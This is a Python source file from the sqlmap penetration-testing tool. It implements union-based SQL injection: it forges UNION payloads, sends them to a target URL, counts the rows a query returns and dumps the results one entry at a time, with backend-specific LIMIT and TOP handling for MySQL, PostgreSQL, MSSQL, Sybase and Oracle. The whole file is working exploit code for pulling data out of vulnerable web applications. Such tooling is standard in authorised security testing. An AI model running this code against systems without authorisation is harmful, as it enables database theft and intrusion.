#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractRegexResult from lib.core.common import filterStringValue from lib.core.common import getUnicode from lib.core.common import initTechnique from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapSyntaxException from lib.core.settings import FROM_TABLE from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.resume import resume reqCount = 0 def __oneShotUnionUse(expression, unpack=True): global reqCount check = "(?P%s.*%s)" % (kb.misc.start, kb.misc.stop) # Prepare expression with delimiters expression = agent.concatQuery(expression, unpack) expression = unescaper.unescape(expression) if conf.limitStart or conf.limitStop: where = PAYLOAD.WHERE.NEGATIVE else: where = None # Forge the inband SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5]) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) reqCount += 1 # Parse the returned page to get the exact union-based # sql injection output output = extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload), re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) return output def configUnion(char=None, columns=None): def __configUnionChar(char): if char.isdigit() or char == "NULL": conf.uChar = char elif not char.startswith("'") or not char.endswith("'"): conf.uChar = "'%s'" % char def __configUnionCols(columns): if "-" not in columns or len(columns.split("-")) != 2: raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)" columns = columns.replace(" ", "") colsStart, colsStop = columns.split("-") if not colsStart.isdigit() or not colsStop.isdigit(): raise sqlmapSyntaxException, "--union-cols must be a range of integers" conf.uColsStart = int(colsStart) conf.uColsStop = int(colsStop) if conf.uColsStart > conf.uColsStop: errMsg = "--union-cols range has to be from lower to " errMsg += "higher number of columns" raise sqlmapSyntaxException, errMsg if isinstance(conf.uChar, basestring): __configUnionChar(conf.uChar) elif isinstance(char, basestring): __configUnionChar(char) if isinstance(conf.uCols, basestring): __configUnionCols(conf.uCols) elif isinstance(columns, basestring): __configUnionCols(columns) def unionUse(expression, unpack=True, dump=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) global reqCount count = None origExpr = expression startLimit = 0 stopLimit = None test = True value = "" reqCount = 0 start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop))) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \ and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \ and not any(map(lambda x: x in expression.upper(), ["(CASE", "COUNT(*)", "EXISTS(", "MAX(", "MIN("])): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, "COUNT(*)", 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) count = parseUnionPage(count, countedExpression) if not count or not count.isdigit(): output = __oneShotUnionUse(countedExpression, unpack) if output: count = parseUnionPage(output, countedExpression) if (not count or (count.isdigit() and int(count) == 0)): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the used SQL query. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) try: for num in xrange(startLimit, stopLimit): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.getIdentifiedDbms() == DBMS.ORACLE: field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = resume(limitedExpr, None) if not output: output = __oneShotUnionUse(limitedExpr, unpack) if output: value += output parseUnionPage(output, limitedExpr) except KeyboardInterrupt: print warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not value: value = __oneShotUnionUse(expression, unpack) duration = calculateDeltaSeconds(start) debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.debug(debugMsg) return value